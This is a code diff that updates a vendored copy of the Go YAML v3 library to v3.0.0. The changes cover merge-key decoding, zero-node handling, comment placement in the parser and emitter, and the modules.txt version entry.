n.Line = p.event.start_mark.line + 1
n.Column = p.event.start_mark.column + 1
n.HeadComment = string(p.event.head_comment)
n.LineComment = string(p.event.line_comment)
n.FootComment = string(p.event.foot_comment)
}
return n
}
func (p *parser) parseChild(parent *Node) *Node {
@@ -312,6 +323,8 @@ type decoder struct {
decodeCount int
aliasCount int
aliasDepth int
mergedFields map[interface{}]bool
}
var (
@@ -497,8 +510,13 @@ func (d *decoder) unmarshal(n *Node, out reflect.Value) (good bool) {
good = d.mapping(n, out)
case SequenceNode:
good = d.sequence(n, out)
case 0:
if n.IsZero() {
return d.null(out)
}
fallthrough
default:
panic("internal error: unknown node kind: " + strconv.Itoa(int(n.Kind)))
failf("cannot decode node with unknown kind %d", n.Kind)
}
return good
}
@@ -533,6 +551,17 @@ func resetMap(out reflect.Value) {
}
}
func (d *decoder) null(out reflect.Value) bool {
if out.CanAddr() {
switch out.Kind() {
case reflect.Interface, reflect.Ptr, reflect.Map, reflect.Slice:
out.Set(reflect.Zero(out.Type()))
return true
}
}
return false
}
func (d *decoder) scalar(n *Node, out reflect.Value) bool {
var tag string
var resolved interface{}
@@ -550,14 +579,7 @@ func (d *decoder) scalar(n *Node, out reflect.Value) bool {
}
}
if resolved == nil {
if out.CanAddr() {
switch out.Kind() {
case reflect.Interface, reflect.Ptr, reflect.Map, reflect.Slice:
out.Set(reflect.Zero(out.Type()))
return true
}
}
return false
return d.null(out)
}
if resolvedv := reflect.ValueOf(resolved); out.Type() == resolvedv.Type() {
// We've resolved to exactly the type we want, so use that.
@@ -791,16 +813,30 @@ func (d *decoder) mapping(n *Node, out reflect.Value) (good bool) {
}
}
mergedFields := d.mergedFields
d.mergedFields = nil
var mergeNode *Node
mapIsNew := false
if out.IsNil() {
out.Set(reflect.MakeMap(outt))
mapIsNew = true
}
for i := 0; i < l; i += 2 {
if isMerge(n.Content[i]) {
d.merge(n.Content[i+1], out)
mergeNode = n.Content[i+1]
continue
}
k := reflect.New(kt).Elem()
if d.unmarshal(n.Content[i], k) {
if mergedFields != nil {
ki := k.Interface()
if mergedFields[ki] {
continue
}
mergedFields[ki] = true
}
kkind := k.Kind()
if kkind == reflect.Interface {
kkind = k.Elem().Kind()
@@ -809,11 +845,17 @@ func (d *decoder) mapping(n *Node, out reflect.Value) (good bool) {
failf("invalid map key: %#v", k.Interface())
}
e := reflect.New(et).Elem()
if d.unmarshal(n.Content[i+1], e) {
if d.unmarshal(n.Content[i+1], e) || n.Content[i+1].ShortTag() == nullTag && (mapIsNew || !out.MapIndex(k).IsValid()) {
out.SetMapIndex(k, e)
}
}
}
d.mergedFields = mergedFields
if mergeNode != nil {
d.merge(n, mergeNode, out)
}
d.stringMapType = stringMapType
d.generalMapType = generalMapType
return true
@@ -825,7 +867,8 @@ func isStringMap(n *Node) bool {
}
l := len(n.Content)
for i := 0; i < l; i += 2 {
if n.Content[i].ShortTag() != strTag {
shortTag := n.Content[i].ShortTag()
if shortTag != strTag && shortTag != mergeTag {
return false
}
}
@@ -842,7 +885,6 @@ func (d *decoder) mappingStruct(n *Node, out reflect.Value) (good bool) {
var elemType reflect.Type
if sinfo.InlineMap != -1 {
inlineMap = out.Field(sinfo.InlineMap)
inlineMap.Set(reflect.New(inlineMap.Type()).Elem())
elemType = inlineMap.Type().Elem()
}
@@ -851,6 +893,9 @@ func (d *decoder) mappingStruct(n *Node, out reflect.Value) (good bool) {
d.prepare(n, field)
}
mergedFields := d.mergedFields
d.mergedFields = nil
var mergeNode *Node
var doneFields []bool
if d.uniqueKeys {
doneFields = make([]bool, len(sinfo.FieldsList))
@@ -860,13 +905,20 @@ func (d *decoder) mappingStruct(n *Node, out reflect.Value) (good bool) {
for i := 0; i < l; i += 2 {
ni := n.Content[i]
if isMerge(ni) {
d.merge(n.Content[i+1], out)
mergeNode = n.Content[i+1]
continue
}
if !d.unmarshal(ni, name) {
continue
}
if info, ok := sinfo.FieldsMap[name.String()]; ok {
sname := name.String()
if mergedFields != nil {
if mergedFields[sname] {
continue
}
mergedFields[sname] = true
}
if info, ok := sinfo.FieldsMap[sname]; ok {
if d.uniqueKeys {
if doneFields[info.Id] {
d.terrors = append(d.terrors, fmt.Sprintf("line %d: field %s already set in type %s", ni.Line, name.String(), out.Type()))
@@ -892,6 +944,11 @@ func (d *decoder) mappingStruct(n *Node, out reflect.Value) (good bool) {
d.terrors = append(d.terrors, fmt.Sprintf("line %d: field %s not found in type %s", ni.Line, name.String(), out.Type()))
}
}
d.mergedFields = mergedFields
if mergeNode != nil {
d.merge(n, mergeNode, out)
}
return true
}
@@ -899,19 +956,29 @@ func failWantMap() {
failf("map merge requires map or sequence of maps as the value")
}
func (d *decoder) merge(n *Node, out reflect.Value) {
switch n.Kind {
func (d *decoder) merge(parent *Node, merge *Node, out reflect.Value) {
mergedFields := d.mergedFields
if mergedFields == nil {
d.mergedFields = make(map[interface{}]bool)
for i := 0; i < len(parent.Content); i += 2 {
k := reflect.New(ifaceType).Elem()
if d.unmarshal(parent.Content[i], k) {
d.mergedFields[k.Interface()] = true
}
}
}
switch merge.Kind {
case MappingNode:
d.unmarshal(n, out)
d.unmarshal(merge, out)
case AliasNode:
if n.Alias != nil && n.Alias.Kind != MappingNode {
if merge.Alias != nil && merge.Alias.Kind != MappingNode {
failWantMap()
}
d.unmarshal(n, out)
d.unmarshal(merge, out)
case SequenceNode:
// Step backwards as earlier nodes take precedence.
for i := len(n.Content) - 1; i >= 0; i-- {
ni := n.Content[i]
for i := 0; i < len(merge.Content); i++ {
ni := merge.Content[i]
if ni.Kind == AliasNode {
if ni.Alias != nil && ni.Alias.Kind != MappingNode {
failWantMap()
@@ -924,6 +991,8 @@ func (d *decoder) merge(n *Node, out reflect.Value) {
default:
failWantMap()
}
d.mergedFields = mergedFields
}
func isMerge(n *Node) bool {
+43 -15
View File
@@ -235,10 +235,13 @@ func yaml_emitter_increase_indent(emitter *yaml_emitter_t, flow, indentless bool
emitter.indent = 0
}
} else if !indentless {
emitter.indent += emitter.best_indent
// [Go] If inside a block sequence item, discount the space taken by the indicator.
if emitter.best_indent > 2 && emitter.states[len(emitter.states)-1] == yaml_EMIT_BLOCK_SEQUENCE_ITEM_STATE {
emitter.indent -= 2
// [Go] This was changed so that indentations are more regular.
if emitter.states[len(emitter.states)-1] == yaml_EMIT_BLOCK_SEQUENCE_ITEM_STATE {
// The first indent inside a sequence will just skip the "- " indicator.
emitter.indent += 2
} else {
// Everything else aligns to the chosen indentation.
emitter.indent = emitter.best_indent*((emitter.indent+emitter.best_indent)/emitter.best_indent)
}
}
return true
@@ -725,16 +728,9 @@ func yaml_emitter_emit_flow_mapping_value(emitter *yaml_emitter_t, event *yaml_e
// Expect a block item node.
func yaml_emitter_emit_block_sequence_item(emitter *yaml_emitter_t, event *yaml_event_t, first bool) bool {
if first {
// [Go] The original logic here would not indent the sequence when inside a mapping.
// In Go we always indent it, but take the sequence indicator out of the indentation.
indentless := emitter.best_indent == 2 && emitter.mapping_context && (emitter.column == 0 || !emitter.indention)
original := emitter.indent
if !yaml_emitter_increase_indent(emitter, false, indentless) {
if !yaml_emitter_increase_indent(emitter, false, false) {
return false
}
if emitter.indent > original+2 {
emitter.indent -= 2
}
}
if event.typ == yaml_SEQUENCE_END_EVENT {
emitter.indent = emitter.indents[len(emitter.indents)-1]
@@ -785,6 +781,13 @@ func yaml_emitter_emit_block_mapping_key(emitter *yaml_emitter_t, event *yaml_ev
if !yaml_emitter_write_indent(emitter) {
return false
}
if len(emitter.line_comment) > 0 {
// [Go] A line comment was provided for the key. That's unusual as the
// scanner associates line comments with the value. Either way,
// save the line comment and render it appropriately later.
emitter.key_line_comment = emitter.line_comment
emitter.line_comment = nil
}
if yaml_emitter_check_simple_key(emitter) {
emitter.states = append(emitter.states, yaml_EMIT_BLOCK_MAPPING_SIMPLE_VALUE_STATE)
return yaml_emitter_emit_node(emitter, event, false, false, true, true)
@@ -810,6 +813,27 @@ func yaml_emitter_emit_block_mapping_value(emitter *yaml_emitter_t, event *yaml_
return false
}
}
if len(emitter.key_line_comment) > 0 {
// [Go] Line comments are generally associated with the value, but when there's
// no value on the same line as a mapping key they end up attached to the
// key itself.
if event.typ == yaml_SCALAR_EVENT {
if len(emitter.line_comment) == 0 {
// A scalar is coming and it has no line comments by itself yet,
// so just let it handle the line comment as usual. If it has a
// line comment, we can't have both so the one from the key is lost.
emitter.line_comment = emitter.key_line_comment
emitter.key_line_comment = nil
}
} else if event.sequence_style() != yaml_FLOW_SEQUENCE_STYLE && (event.typ == yaml_MAPPING_START_EVENT || event.typ == yaml_SEQUENCE_START_EVENT) {
// An indented block follows, so write the comment right now.
emitter.line_comment, emitter.key_line_comment = emitter.key_line_comment, emitter.line_comment
if !yaml_emitter_process_line_comment(emitter) {
return false
}
emitter.line_comment, emitter.key_line_comment = emitter.key_line_comment, emitter.line_comment
}
}
emitter.states = append(emitter.states, yaml_EMIT_BLOCK_MAPPING_KEY_STATE)
if !yaml_emitter_emit_node(emitter, event, false, false, true, false) {
return false
@@ -823,6 +847,10 @@ func yaml_emitter_emit_block_mapping_value(emitter *yaml_emitter_t, event *yaml_
return true
}
func yaml_emitter_silent_nil_event(emitter *yaml_emitter_t, event *yaml_event_t) bool {
return event.typ == yaml_SCALAR_EVENT && event.implicit && !emitter.canonical && len(emitter.scalar_data.value) == 0
}
// Expect a node.
func yaml_emitter_emit_node(emitter *yaml_emitter_t, event *yaml_event_t,
root bool, sequence bool, mapping bool, simple_key bool) bool {
@@ -1866,7 +1894,7 @@ func yaml_emitter_write_literal_scalar(emitter *yaml_emitter_t, value []byte) bo
if !yaml_emitter_write_block_scalar_hints(emitter, value) {
return false
}
if !put_break(emitter) {
if !yaml_emitter_process_line_comment(emitter) {
return false
}
//emitter.indention = true
@@ -1903,10 +1931,10 @@ func yaml_emitter_write_folded_scalar(emitter *yaml_emitter_t, value []byte) boo
if !yaml_emitter_write_block_scalar_hints(emitter, value) {
return false
}
if !put_break(emitter) {
if !yaml_emitter_process_line_comment(emitter) {
return false
}
//emitter.indention = true
emitter.whitespace = true
+23 -7
View File
@@ -119,6 +119,14 @@ func (e *encoder) marshal(tag string, in reflect.Value) {
case *Node:
e.nodev(in)
return
case Node:
if !in.CanAddr() {
var n = reflect.New(in.Type()).Elem()
n.Set(in)
in = n
}
e.nodev(in.Addr())
return
case time.Time:
e.timev(tag, in)
return
@@ -422,18 +430,23 @@ func (e *encoder) nodev(in reflect.Value) {
}
func (e *encoder) node(node *Node, tail string) {
// Zero nodes behave as nil.
if node.Kind == 0 && node.IsZero() {
e.nilv()
return
}
// If the tag was not explicitly requested, and dropping it won't change the
// implicit tag of the value, don't include it in the presentation.
var tag = node.Tag
var stag = shortTag(tag)
var rtag string
var forceQuoting bool
if tag != "" && node.Style&TaggedStyle == 0 {
if node.Kind == ScalarNode {
if stag == strTag && node.Style&(SingleQuotedStyle|DoubleQuotedStyle|LiteralStyle|FoldedStyle) != 0 {
tag = ""
} else {
rtag, _ = resolve("", node.Value)
rtag, _ := resolve("", node.Value)
if rtag == stag {
tag = ""
} else if stag == strTag {
@@ -442,6 +455,7 @@ func (e *encoder) node(node *Node, tail string) {
}
}
} else {
var rtag string
switch node.Kind {
case MappingNode:
rtag = mapTag
@@ -471,7 +485,7 @@ func (e *encoder) node(node *Node, tail string) {
if node.Style&FlowStyle != 0 {
style = yaml_FLOW_SEQUENCE_STYLE
}
e.must(yaml_sequence_start_event_initialize(&e.event, []byte(node.Anchor), []byte(tag), tag == "", style))
e.must(yaml_sequence_start_event_initialize(&e.event, []byte(node.Anchor), []byte(longTag(tag)), tag == "", style))
e.event.head_comment = []byte(node.HeadComment)
e.emit()
for _, node := range node.Content {
@@ -487,7 +501,7 @@ func (e *encoder) node(node *Node, tail string) {
if node.Style&FlowStyle != 0 {
style = yaml_FLOW_MAPPING_STYLE
}
yaml_mapping_start_event_initialize(&e.event, []byte(node.Anchor), []byte(tag), tag == "", style)
yaml_mapping_start_event_initialize(&e.event, []byte(node.Anchor), []byte(longTag(tag)), tag == "", style)
e.event.tail_comment = []byte(tail)
e.event.head_comment = []byte(node.HeadComment)
e.emit()
@@ -528,11 +542,11 @@ func (e *encoder) node(node *Node, tail string) {
case ScalarNode:
value := node.Value
if !utf8.ValidString(value) {
if tag == binaryTag {
if stag == binaryTag {
failf("explicitly tagged !!binary data must be base64-encoded")
}
if tag != "" {
failf("cannot marshal invalid UTF-8 data as %s", shortTag(tag))
if stag != "" {
failf("cannot marshal invalid UTF-8 data as %s", stag)
}
// It can't be encoded directly as YAML so use a binary tag
// and encode it as base64.
@@ -557,5 +571,7 @@ func (e *encoder) node(node *Node, tail string) {
}
e.emitScalar(value, node.Anchor, tag, style, []byte(node.HeadComment), []byte(node.LineComment), []byte(node.FootComment), []byte(tail))
default:
failf("cannot encode node with unknown kind %d", node.Kind)
}
}
+34 -14
View File
@@ -648,6 +648,10 @@ func yaml_parser_parse_node(parser *yaml_parser_t, event *yaml_event_t, block, i
implicit: implicit,
style: yaml_style_t(yaml_BLOCK_MAPPING_STYLE),
}
if parser.stem_comment != nil {
event.head_comment = parser.stem_comment
parser.stem_comment = nil
}
return true
}
if len(anchor) > 0 || len(tag) > 0 {
@@ -694,25 +698,13 @@ func yaml_parser_parse_block_sequence_entry(parser *yaml_parser_t, event *yaml_e
if token.typ == yaml_BLOCK_ENTRY_TOKEN {
mark := token.end_mark
prior_head := len(parser.head_comment)
prior_head_len := len(parser.head_comment)
skip_token(parser)
yaml_parser_split_stem_comment(parser, prior_head_len)
token = peek_token(parser)
if token == nil {
return false
}
if prior_head > 0 && token.typ == yaml_BLOCK_SEQUENCE_START_TOKEN {
// [Go] It's a sequence under a sequence entry, so the former head comment
// is for the list itself, not the first list item under it.
parser.stem_comment = parser.head_comment[:prior_head]
if len(parser.head_comment) == prior_head {
parser.head_comment = nil
} else {
// Copy suffix to prevent very strange bugs if someone ever appends
// further bytes to the prefix in the stem_comment slice above.
parser.head_comment = append([]byte(nil), parser.head_comment[prior_head+1:]...)
}
}
if token.typ != yaml_BLOCK_ENTRY_TOKEN && token.typ != yaml_BLOCK_END_TOKEN {
parser.states = append(parser.states, yaml_PARSE_BLOCK_SEQUENCE_ENTRY_STATE)
return yaml_parser_parse_node(parser, event, true, false)
@@ -754,7 +746,9 @@ func yaml_parser_parse_indentless_sequence_entry(parser *yaml_parser_t, event *y
if token.typ == yaml_BLOCK_ENTRY_TOKEN {
mark := token.end_mark
prior_head_len := len(parser.head_comment)
skip_token(parser)
yaml_parser_split_stem_comment(parser, prior_head_len)
token = peek_token(parser)
if token == nil {
return false
@@ -780,6 +774,32 @@ func yaml_parser_parse_indentless_sequence_entry(parser *yaml_parser_t, event *y
return true
}
// Split stem comment from head comment.
//
// When a sequence or map is found under a sequence entry, the former head comment
// is assigned to the underlying sequence or map as a whole, not the individual
// sequence or map entry as would be expected otherwise. To handle this case the
// previous head comment is moved aside as the stem comment.
func yaml_parser_split_stem_comment(parser *yaml_parser_t, stem_len int) {
if stem_len == 0 {
return
}
token := peek_token(parser)
if token.typ != yaml_BLOCK_SEQUENCE_START_TOKEN && token.typ != yaml_BLOCK_MAPPING_START_TOKEN {
return
}
parser.stem_comment = parser.head_comment[:stem_len]
if len(parser.head_comment) == stem_len {
parser.head_comment = nil
} else {
// Copy suffix to prevent very strange bugs if someone ever appends
// further bytes to the prefix in the stem_comment slice above.
parser.head_comment = append([]byte(nil), parser.head_comment[stem_len+1:]...)
}
}
// Parse the productions:
// block_mapping ::= BLOCK-MAPPING_START
// *******************
+31 -18
View File
@@ -749,6 +749,11 @@ func yaml_parser_fetch_next_token(parser *yaml_parser_t) (ok bool) {
if !ok {
return
}
if len(parser.tokens) > 0 && parser.tokens[len(parser.tokens)-1].typ == yaml_BLOCK_ENTRY_TOKEN {
// Sequence indicators alone have no line comments. It becomes
// a head comment for whatever follows.
return
}
if !yaml_parser_scan_line_comment(parser, comment_mark) {
ok = false
return
@@ -2255,10 +2260,9 @@ func yaml_parser_scan_block_scalar(parser *yaml_parser_t, token *yaml_token_t, l
}
}
if parser.buffer[parser.buffer_pos] == '#' {
// TODO Test this and then re-enable it.
//if !yaml_parser_scan_line_comment(parser, start_mark) {
// return false
//}
if !yaml_parser_scan_line_comment(parser, start_mark) {
return false
}
for !is_breakz(parser.buffer, parser.buffer_pos) {
skip(parser)
if parser.unread < 1 && !yaml_parser_update_buffer(parser, 1) {
@@ -2856,13 +2860,12 @@ func yaml_parser_scan_line_comment(parser *yaml_parser_t, token_mark yaml_mark_t
return false
}
skip_line(parser)
} else {
if parser.mark.index >= seen {
if len(text) == 0 {
start_mark = parser.mark
}
text = append(text, parser.buffer[parser.buffer_pos])
} else if parser.mark.index >= seen {
if len(text) == 0 {
start_mark = parser.mark
}
text = read(parser, text)
} else {
skip(parser)
}
}
@@ -2888,6 +2891,10 @@ func yaml_parser_scan_comments(parser *yaml_parser_t, scan_mark yaml_mark_t) boo
var token_mark = token.start_mark
var start_mark yaml_mark_t
var next_indent = parser.indent
if next_indent < 0 {
next_indent = 0
}
var recent_empty = false
var first_empty = parser.newlines <= 1
@@ -2919,15 +2926,18 @@ func yaml_parser_scan_comments(parser *yaml_parser_t, scan_mark yaml_mark_t) boo
continue
}
c := parser.buffer[parser.buffer_pos+peek]
if is_breakz(parser.buffer, parser.buffer_pos+peek) || parser.flow_level > 0 && (c == ']' || c == '}') {
var close_flow = parser.flow_level > 0 && (c == ']' || c == '}')
if close_flow || is_breakz(parser.buffer, parser.buffer_pos+peek) {
// Got line break or terminator.
if !recent_empty {
if first_empty && (start_mark.line == foot_line || start_mark.column-1 < parser.indent) {
if close_flow || !recent_empty {
if close_flow || first_empty && (start_mark.line == foot_line && token.typ != yaml_VALUE_TOKEN || start_mark.column-1 < next_indent) {
// This is the first empty line and there were no empty lines before,
// so this initial part of the comment is a foot of the prior token
// instead of being a head for the following one. Split it up.
// Alternatively, this might also be the last comment inside a flow
// scope, so it must be a footer.
if len(text) > 0 {
if start_mark.column-1 < parser.indent {
if start_mark.column-1 < next_indent {
// If dedented it's unrelated to the prior token.
token_mark = start_mark
}
@@ -2958,7 +2968,7 @@ func yaml_parser_scan_comments(parser *yaml_parser_t, scan_mark yaml_mark_t) boo
continue
}
if len(text) > 0 && column < parser.indent+1 && column != start_mark.column {
if len(text) > 0 && (close_flow || column-1 < next_indent && column != start_mark.column) {
// The comment at the different indentation is a foot of the
// preceding data rather than a head of the upcoming one.
parser.comments = append(parser.comments, yaml_comment_t{
@@ -2999,10 +3009,9 @@ func yaml_parser_scan_comments(parser *yaml_parser_t, scan_mark yaml_mark_t) boo
return false
}
skip_line(parser)
} else if parser.mark.index >= seen {
text = read(parser, text)
} else {
if parser.mark.index >= seen {
text = append(text, parser.buffer[parser.buffer_pos])
}
skip(parser)
}
}
@@ -3010,6 +3019,10 @@ func yaml_parser_scan_comments(parser *yaml_parser_t, scan_mark yaml_mark_t) boo
peek = 0
column = 0
line = parser.mark.line
next_indent = parser.indent
if next_indent < 0 {
next_indent = 0
}
}
if len(text) > 0 {
+38 -2
View File
@@ -89,7 +89,7 @@ func Unmarshal(in []byte, out interface{}) (err error) {
return unmarshal(in, out, false)
}
// A Decorder reads and decodes YAML values from an input stream.
// A Decoder reads and decodes YAML values from an input stream.
type Decoder struct {
parser *parser
knownFields bool
@@ -194,7 +194,7 @@ func unmarshal(in []byte, out interface{}, strict bool) (err error) {
// Zero valued structs will be omitted if all their public
// fields are zero, unless they implement an IsZero
// method (see the IsZeroer interface type), in which
// case the field will be included if that method returns true.
// case the field will be excluded if IsZero returns true.
//
// flow Marshal using a flow style (useful for structs,
// sequences and maps).
@@ -252,6 +252,24 @@ func (e *Encoder) Encode(v interface{}) (err error) {
return nil
}
// Encode encodes value v and stores its representation in n.
//
// See the documentation for Marshal for details about the
// conversion of Go values into YAML.
func (n *Node) Encode(v interface{}) (err error) {
defer handleErr(&err)
e := newEncoder()
defer e.destroy()
e.marshalDoc("", reflect.ValueOf(v))
e.finish()
p := newParser(e.out)
p.textless = true
defer p.destroy()
doc := p.parse()
*n = *doc.Content[0]
return nil
}
// SetIndent changes the used indentation used when encoding.
func (e *Encoder) SetIndent(spaces int) {
if spaces < 0 {
@@ -328,6 +346,12 @@ const (
// and maps, Node is an intermediate representation that allows detailed
// control over the content being decoded or encoded.
//
// It's worth noting that although Node offers access into details such as
// line numbers, colums, and comments, the content when re-encoded will not
// have its original textual representation preserved. An effort is made to
// render the data plesantly, and to preserve comments near the data they
// describe, though.
//
// Values that make use of the Node type interact with the yaml package in the
// same way any other type would do, by encoding and decoding yaml data
// directly or indirectly into them.
@@ -391,6 +415,13 @@ type Node struct {
Column int
}
// IsZero returns whether the node has all of its fields unset.
func (n *Node) IsZero() bool {
return n.Kind == 0 && n.Style == 0 && n.Tag == "" && n.Value == "" && n.Anchor == "" && n.Alias == nil && n.Content == nil &&
n.HeadComment == "" && n.LineComment == "" && n.FootComment == "" && n.Line == 0 && n.Column == 0
}
// LongTag returns the long form of the tag that indicates the data type for
// the node. If the Tag field isn't explicitly defined, one will be computed
// based on the node properties.
@@ -418,6 +449,11 @@ func (n *Node) ShortTag() string {
case ScalarNode:
tag, _ := resolve("", n.Value)
return tag
case 0:
// Special case to make the zero value convenient.
if n.IsZero() {
return nullTag
}
}
return ""
}
+2
View File
@@ -787,6 +787,8 @@ type yaml_emitter_t struct {
foot_comment []byte
tail_comment []byte
key_line_comment []byte
// Dumper stuff
opened bool // If the stream was already opened?
+1 -1
View File
@@ -500,7 +500,7 @@ gopkg.in/AlecAivazis/survey.v1/core
gopkg.in/AlecAivazis/survey.v1/terminal
# gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b
## explicit
# gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c
# gopkg.in/yaml.v3 v3.0.0
## explicit
gopkg.in/yaml.v3
# gorm.io/driver/mysql v1.0.3